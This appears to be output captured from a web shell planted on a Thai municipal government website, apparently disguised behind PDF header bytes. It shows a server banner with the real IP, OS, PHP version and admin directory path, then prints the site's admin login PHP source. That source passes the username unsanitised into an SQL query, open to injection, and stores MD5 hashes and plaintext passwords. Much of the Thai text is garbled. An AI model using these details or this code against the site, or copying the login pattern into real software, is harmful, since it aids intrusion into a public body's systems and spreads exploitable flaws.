%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/admin/ |
Upload File : |
<?
session_start();
if(isset($_POST["user"])){
$user=trim($_POST["user"]);
}
if(isset($_POST["passwd"])){
$passwd=trim($_POST["passwd"]);
}
if(($user=="") or ($passwd=="")){
session_destroy();
$message="س Login !";
$url="index.php";
include "alert.php";
die;exit;
}
require_once('Connections/conndb.php');
$pass5 = md5($passwd);
$uname = trim($user);
$query_m = "select * from tbl_admin where user_name='$uname' and user_password='$pass5' ";
$result_m = mysql_query($query_m) or die(mysql_error());
$num_rows = mysql_num_rows($result_m);
if ($num_rows > 0 )
{
$row = mysql_fetch_assoc($result_m);
$ulevel = $row["user_level"];
$u_ip = $_SERVER["REMOTE_ADDR"];
$now = date("Y-m-d H:i:s",time());
$query_m = "insert into tbl_session (id,user_name,ip_address,log_time,log_status) values ('','$uname','$u_ip','$now','i') ";
$result_d = mysql_query($query_m);
$_SESSION["user"] = $user;
$_SESSION["passwd"] = $passwd;
$_SESSION["level"] = $ulevel;
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<!-- InstanceEndEditable -->
<?php
require_once('Connections/conndb.php');
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧúǹӺŷ觢ҹ 99/9 1 Ӻ 觢ҹ ´ ѧѴ ѹ :: www.thungkhanan.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><style type="text/css">
<!--
a:link {
text-decoration: underline;
}
a:visited {
text-decoration: underline;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: underline;
}
-->
</style>
<style type="text/css">
<!--
.style7 {color: #FF0000}
-->
</style>
<!-- InstanceEndEditable -->
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color: #3CFFFF;
}
-->
</style>
<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover%20Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
<!--<script src="https://platform-api.sharethis.com/js/sharethis.js#property=5d255a83d97c100012d80679&product='inline-share-buttons'
async='async" type='text/javascript'> -->
</script>
<!--styles -->
<style type="text/css">
<!--
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
.style6 {color: #FFFFFF}
-->
</style></head>
<body background="../images/0bg1.png" style="background-repeat:no-repeat; background-position:top">
<!-- content -->
<div align="center">
<table width="950" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"><tr>
<td height="640" align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top">
<table width="1000" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/index.php"><img src="../images/menu-top_01.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/news.php?cat_id=31" target="_blank"><img src="../images/menu-top_02.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/albums/index.php" target="_blank"><img src="../images/menu-top_03.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/office.php"><img src="../images/menu-top_04.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="hover13 column">
<div></div> </td>
</tr>
</table>
</td>
</tr>
</td>
</tr>
<tr>
<td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
<table width="85%" border="0" cellspacing="0">
<tr align="center" >
<td height="22" align="left" class="styles1"> </td>
</tr>
<tr align="center" >
<td height="22" align="left" class="styles1"><div align="right" style="color:#246630;"><a href="main.php#top" class="styles1" style="color:#246630;">˹ Admin</a> |
<?if($ulevel==1){?>
<a href="add_admin.php#top" class="styles1" style="color:#246630;">żк</a>
<?} else {?>
<a href="changepass.php#top" class="styles1" style="color:#246630;">¹ʼҹ</a>
<?}?>
| <a href="signout.php" class="styles1" style="color:#246630;">͡ҡк </a></div></td>
</tr>
<tr align="center" >
<td height="5" align="left"></td>
</tr>
<tr>
<td align="center" valign="top" bgcolor="#33FFFF"><div align="left"><a href="../koo.zip" target="_blank" class="title3"><img src="../images/icc5.png" width="16" height="16" border="0"> ǹŴ͡ҹ ԡ</a></div></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"><table width="90%" cellspacing="0" cellpadding="0">
<tr>
<td width="57%" valign="top"><table width="369" border="0" cellpadding="2" cellspacing="2" bgcolor="#FFFFFF" class="box1">
<tr>
<td width="359" height="25" background="../images/bg4.gif" class="styles" ><div align="center" class="title3">к (<?=$_SESSION["user"];?>)</div></td>
</tr>
<tr>
<td ><div align="left"><img src="../images/icc4.png" width="16" height="16" border="0"> <a href="../albums/add_albums.php" class="styles2" > ҾԨ</a></div></td>
</tr>
<tr>
<td ><div align="left"><img src="../images/icc4.png" width="16" height="16" border="0"> <a href="../otops/add_otop_albums.php" class="styles2" > ԹҪ</a></div></td>
</tr>
<tr>
<td ><div align="left"><img src="../images/icc4.png" width="16" height="16" border="0"> <a href="../travels/add_travel_albums.php" class="styles2" > ʶҹͧ</a></div></td>
</tr>
<tr>
<td ><div align="left"><img src="../images/icc4.png" width="16" height="16" border="0"> <a href="../contacts/admin.php" class="styles2"> Դͺ / ͧء </a></div></td>
</tr>
<tr>
<td ><div align="left"><img src="../images/icc4.png" width="16" height="16" border="0"> <a href="../calendar/admin/admin.php" ></a><a href="../calendar/admin.php?date=<?=date('j-n-Y') ?>" class="styles2"> ԷԹԨ</a></div></td>
</tr>
<tr>
<td ><div align="left"><img src="../images/icc4.png" width="16" height="16" border="0"> <a href="../poll/admin.php" class="styles2" > ẺǨԴ</a></div></td>
</tr>
<tr>
<td ><div align="left"><img src="../images/icc4.png" width="16" height="16" border="0"> <a href="../personal/admin/addphoto.php" ><span class="styles2"> кؤҡ</span></a></div></td>
</tr>
<tr>
<td ><div align="left"><img src="../images/icc4.png" width="16" height="16" border="0"> <a href="../webboard/admin/admin.php?Category=board" ><span class="styles2"> дҹʹ</span></a>
<div align="left"></div>
</div></td>
</tr>
</table></td>
<td width="48%" valign="top">
<table width="566" border="0" cellpadding="2" cellspacing="2" bgcolor="#FFFFFF" class="box1">
<tr>
<td width="556" height="30" background="../images/bg4.gif" class="styles" ><div align="center" class="title3">к</div></td>
</tr>
<tr>
<td ><div align="center"><span class="title3">(<span class="style7">ҡ˹ҹúǹ駷ҧѷ֧˹纴¹Ф</span>)</span></div></td>
</tr>
<tr>
<td ><table width="512" border="0" cellspacing="0" cellpadding="0">
<tr align="center" valign="middle">
<td width="20"> </td>
<td width="492"><a href="../news/add_category.php" class="styles2">
<? include "../news/show_cat.php"; ?>
</a></td>
</tr>
</table></td>
</tr>
<tr>
<td>
<IFRAME id="promise" name="promise" SRC="http://crm1.pasworld.co.th/promise.php?company_code=618" WIDTH="515" HEIGHT="340" SCROLLING="no" FRAMEBORDER="0" MARGINHEIGHT="0" MARGINWIDTH="0"></IFRAME> </td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
</table>
<!-- InstanceEndEditable --></td>
</tr>
</table></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
</tr>
</table>
</div>
<!-- end_content -->
<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
</body>
<!-- InstanceEnd --></html>
<?
include("Connections/close_db.php");
} else {
session_destroy();
include("Connections/close_db.php");
$message="Username or Password Incorrect !";
$url="index.php";
include "alert.php";
}
?>